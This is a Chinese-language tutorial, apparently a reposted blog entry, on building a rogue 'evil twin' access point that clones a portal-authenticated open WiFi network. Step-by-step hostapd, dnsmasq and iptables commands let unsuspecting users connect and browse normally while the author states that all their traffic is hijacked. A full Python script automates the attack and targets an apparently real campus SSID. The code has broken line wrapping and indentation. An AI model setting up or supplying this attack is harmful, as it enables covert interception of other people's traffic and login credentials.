如何在linux下搭建一个fakeap,使得portal认证下的用户无法发现连接你的假AP,并且能够正常上网。先说一下portal认证。无线WIFI认证方式主要有wpa2 和 open两种,而portal认证为open的一种,只不过想要获得访问权限,就得进行身份认证,无论是校园里的账号密码,或者酒店里的手机验证码都属于portal认证。运行环境,一块无线网卡负责搭建ap,有线部分负责连接目标ap。(至于两块网卡应该是可以实现的,不过下面的代码不适用,需要对NetworkManager的配置文件进行修改)

那么如何在linux下搭建一个假AP,使用户鬼使神差的连到你的AP上而不被发现呢?这里我们使用hostapd,dnsmasq伪造一个Fake AP。

1. 首先安装hostapd,dnsmasq

​sudo apt-get install hostapd
sudo apt-get install dnsmasq

2.安装完成后首先要修改hostapd、dnsmasq的配置文件

首先是hostapd的配置文件,该文件负责配置开启ap所需要的内容, hostapd的配置文件是/etc/hostapd/hostapd.conf,这个文件需要自己创建,配置文件需要修改的是essid和channel,假如你的目标网络为“test“,那么配置文件中的essid需要修改为test,channel最好和目标网络相同。下图配置为建立一个作用在3信道的essid为test的OPEN式网络的假AP:

interface=wlan0
driver=nl80211
ssid=test
hw_mode=g
channel=3
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0

Dnsmasq是一个小巧且方便地用于配置DNS和DHCP的工具,适用于小型网络 。如果网络环境内的机器较多,建议换用dhcpd,Dnsmasq负责分配ip和dns。配置如下:

disables dnsmasq reading any other files like /etc/resolv.conf for nameservers\nno-resolv
# Interface to bind to
interface=wlan0
#Specify starting_range,end_range,lease_time
dhcp-range=10.0.0.3,10.0.0.20,12h
# dns addresses to send to the clients
server=8.8.8.8
server=10.0.0.1

3.配置完成后,你的假AP便可以为用户分配ip和dns了

但是我们的目标是获取真正AP的认证页面。实际上,当你随意访问一个portal认证下网络的网页时,总会率先弹到认证界面,这是DNS服务器在起作用,他将所有的域名都解析为认证页面的ip,从而返回用户一个认证界面。所以我们要想给用户返回相同的界面的话,便要使用该portal网络的dns地址

当然我们连接portal服务器后,随意访问一个网站都会获得该dns地址:

nslookup qq.com

将dns地址添加到上述Dnsmasq配置文件中,便可以返给用户正确的认证界面了。

4.在这里还有一点需要注意,我们要修改NetworkManager.conf这个文件

将无线网卡设置成未托管,这样才能正常启动hostapd,内容为

[main]
plugins=keyfile

[keyfile]
unmanaged-devices=interface-name:wlan0

5.配置无线接入点的ip和子网掩码

sudo ifconfig wlan0 up 10.0.0.1 netmask 255.255.255.0

6.开启路由转发,使得我们的网卡可以转发流量

sudo sysctl -w net.ipv4.ip_forward=1 

7.经过上述处理,我们可以成功的开启假ap,但是工作还没有做完

我们的目的是使得用户能够正常访问web流量,那么我们需要将假ap收到的流量转发给真正的AP,而将AP回复的信息转发给用户。这里需要设置一下iptables 转发,命令如下。

sudo iptables --flush
sudo iptables --table nat --flush
sudo iptables --delete-chain
sudo iptables --table nat --delete-chain
sudo iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
sudo iptables --append FORWARD --in-interface wlan0 -j ACCEPT

8.配置完成后,大功告成!这时便可以开启你的Fake AP了!

sudo hostapd /etc/hostapd/hostapd.conf

当用户连接你的假ap,你便可以劫持他的所有流量了!

代码如下(该代码运行在kali下,其他系统注意修改无线、有线网卡接口名称,root权限获取,essid也需要自行修改)

#coding = utf-8
import os
import subprocess
sudo = "/usr/bin/su
do"
tee = "/usr/bin/tee"
def _run_cmd_write(cmd_args, s):
# write a file using sudo
p = subprocess.Popen(cmd_a
rgs,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
shell=False, universal_newlines=True)
p.stdin.write(s)
p.stdin.close()
p.wait()
def write_file(path, s):
_run_cmd_write((sudo, tee, path), s)
def dnsmasq():
try:
ap_iface = 'wlan0'
net_iface = 'eth0'
network_manager_cfg = "[main]\nplugins=keyfile\n\n[keyfile]\nunmanaged-devices=interface-name:wlan0\n"
os.system("sudo cp /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf.backup")
write_file("/etc/NetworkManager/NetworkManager.conf", network_manager_cfg )
os.system("sudo service network-manager restart")
os.system("sudo ifconfig wlan0 up")
os.system("sudo cp /etc/dnsmasq.conf /etc/dnsmasq.conf.backup")
proc = subprocess.Popen("nslookup qq.com",stdin=subprocess.PIPE,stdout=subprocess.PIPE,shell=True)
lines = proc.communicate()[0].split('\n')
for line in lines:
if "Server:" in line:
dnsserver = line[9:]
break
dnsmasq_file = "# disables dnsmasq reading any other files like /etc/resolv.conf for nameservers\nno-resolv\n# Interface to bind to\ninterface=wlan0\n#Specify starting_range,end_range,lease_time\ndhcp-range=10.0.0.3,10.0.0.20,12h\n# dns addresses to send to the clients\nserver=8.8.8.8\nserver=10.0.0.1\nserver=" + dnsserver + "\n"
os.system("sudo rm /etc/dnsmasq.conf > /dev/null 2>&1")
write_file("/etc/dnsmasq.conf", dnsmasq_file)
except:
pass
def hostapd(essid,channel):
try:
#HOSTAPD CONFIG
ssid = essid
chan = channel
hostapd_file = "interface=wlan0\ndriver=nl80211\nssid=" + ssid + "\nhw_mode=g\nchannel=" + chan + "\nmacaddr_acl=0\nauth_algs=1\nignore_broadcast_ssid=0\n"
os.system("sudo rm /etc/hostapd/hostapd.conf > /dev/null 2>&1")
write_file("/etc/hostapd/hostapd.conf", hostapd_file)
except:
pass def iptables_setting():
try:
os.system("sudo ifconfig wlan0 up 10.0.0.1 netmask 255.255.255.0")
os.system("sudo iptables --flush")
os.system("sudo iptables --table nat --flush")
os.system("sudo iptables --delete-chain")
os.system("sudo iptables --table nat --delete-chain")
os.system("sudo iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE")
os.system("sudo iptables --append FORWARD --in-interface wlan0 -j ACCEPT")
#/IPTABLES
except:
pass
def start_dnsmasq():
try:
os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1")
os.system("sudo pkill dnsmasq")
os.system("sudo dnsmasq")
except:
pass
def start_hostapd():
try:
os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1")
os.system("sudo hostapd /etc/hostapd/hostapd.conf")
except:
pass def main():
dnsmasq()
hostapd('stu-xd','3')
iptables_setting()
start_dnsmasq()
start_hostapd()
if name == 'main':
main()

渗透测试思路 | Linux下自动化搭建FakeAP,劫持用户在Portal认证下的所有流量的更多相关文章

  1. 渗透测试思路 - CTF(番外篇)

    渗透测试思路 ​ Another:影子 (主要记录一下平时渗透的一些小流程和一些小经验) CTF(番外篇) ​ 笔者是一个WEB狗,更多的是做一些WEB类型题目,只能怪笔者太菜,哭~~ 前言 ​ 本篇 ...

  2. 首款中文渗透测试专用Linux系统—MagicBox

    1.     MagicBox的介绍 首款中文渗透测试专用Linux系统——MagicBox即将问世,中文名称:“魔方系统”,开发代号:Genesis.第一版本发布时间计划为2012年12月5日 这是 ...

  3. Linux 之 利用Google Authenticator实现用户双因素认证

    一.介绍:什么是双因素认证 双因素身份认证就是通过你所知道再加上你所能拥有的这二个要素组合到一起才能发挥作用的身份认证系统.双因素认证是一种采用时间同步技术的系统,采用了基于时间.事件和密钥三变量而产 ...

  4. 渗透测试中Linux下反弹shell的认识

    最近老是觉得自己白天工作累,晚上理应休息 堕落了几天才发觉自己真垃圾,加紧向前吧. 0x00 前言 在平时渗透还是工作中经常会遇到shell反弹的情况,网上一搜反弹shell都是一大堆,但是真正遇到反 ...

  5. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  6. 2019-9-20:渗透测试,基础学习,phpstudy搭建Wordpress,Burpsuite抓取WorePress cms的post包

    一.搭建WordPress的cms网站管理系统 1,下载Wordpress cms源码,下载地址:https://wordpress.org/download/ 2,将源码解压到phpstudy目录下 ...

  7. 2019-9-11:渗透测试,基础学习,ubuntu搭建LAMP

    一,apache web服务器安装 1,sudo apt-get install apache2 2,systemctl status apache2,检查apache2是否开启 #开启.关闭和重启a ...

  8. 渗透测试===kali linux的安装

    方法一: kali linux 安装在本地的vitural box 或者 wm ware中 方法二: 安装在移动硬盘或者储存卡中,插到电脑就能用

  9. 2019-9-18:渗透测试,基础学习,ubuntu搭建LNMP,phpmyadmin

    1,安装nginx:sudo apt-get install nginx 2,安装完成,输入,service nginx start开启服务,输入:netstat -ntulp |grep 80,确定 ...

随机推荐

  1. CodeForces Round #320 Div2

    A. Raising Bacteria 计算一下x的bitcount就是答案. #include <iostream> #include <cstdio> #include & ...

  2. JavaScript日期时间格式化函数

    这篇文章主要介绍了JavaScript日期时间格式化函数分享,需要的朋友可以参考下 这个函数经常用到,分享给大家. 函数代码: //格式化参数说明: //y:年,M:月,d:日,h:时,m分,s:秒, ...

  3. [转] sublime插件

    Sublime Text 系列 Sublime Text:学习资源篇 Sublime插件:增强篇 Sublime插件:Markdown篇 Sublime插件:C语言篇 Sublime插件:主题篇 Su ...

  4. TOJ4203: Domino Piece

    4203: Domino Piece  Time Limit(Common/Java):1000MS/3000MS     Memory Limit:65536KByteTotal Submit: 5 ...

  5. python风格之包导入

    导入总应该放在文件顶部, 位于模块注释和文档字符串之后, 模块全局变量和常量之前. 导入应该按照从最通用到最不通用的顺序分组: 标准库导入 第三方库导入 应用程序指定导入 每种分组中, 应该根据每个模 ...

  6. C#发送邮件异常,返回信息乱码

    发邮件时出现了异常: 在 System.Net.Mail.MailCommand.CheckResponse(SmtpStatusCode statusCode, String response) 在 ...

  7. 九度oj 1005

    题目1005:Graduate Admission 时间限制:1 秒 内存限制:32 兆 特殊判题:否 提交:6182 解决:1791 题目描述:                        It ...

  8. 设计模式(十九)观察者模式 Observer

    模拟场景: 甲方提供了一个气象站的接口,气象站上面装有:温度感应装置.湿度感应装置.气压感应装置. 现在我们是乙方,需要设计一个 WeatherData 对象,从气象站获取数据,并且利用这些数据,更新 ...

  9. 【Luogu】P2805植物大战僵尸(拓扑排序+最大流)

    题目链接 这题数据xie强qwq.拓扑用的那个图建反了得80. 一眼看出(个屁,题解上都说一眼看出,然而我还是太蒻了)这是个最大权闭合图.从被保护植物向保护植物连边,然后跑最大流,用正点权和减去. 哦 ...

  10. [luoguP2463] [SDOI2008]Sandy的卡片(后缀数组 + st表)

    传送门 很容易想到,题目中的相同是指差分数组相同. 那么可以把差分数组连起来,中间加上一个没有出现过的且字典序小的数 双指针移动,用st表维护height数组中的最小值. 当然用单调队列应该也可以且更 ...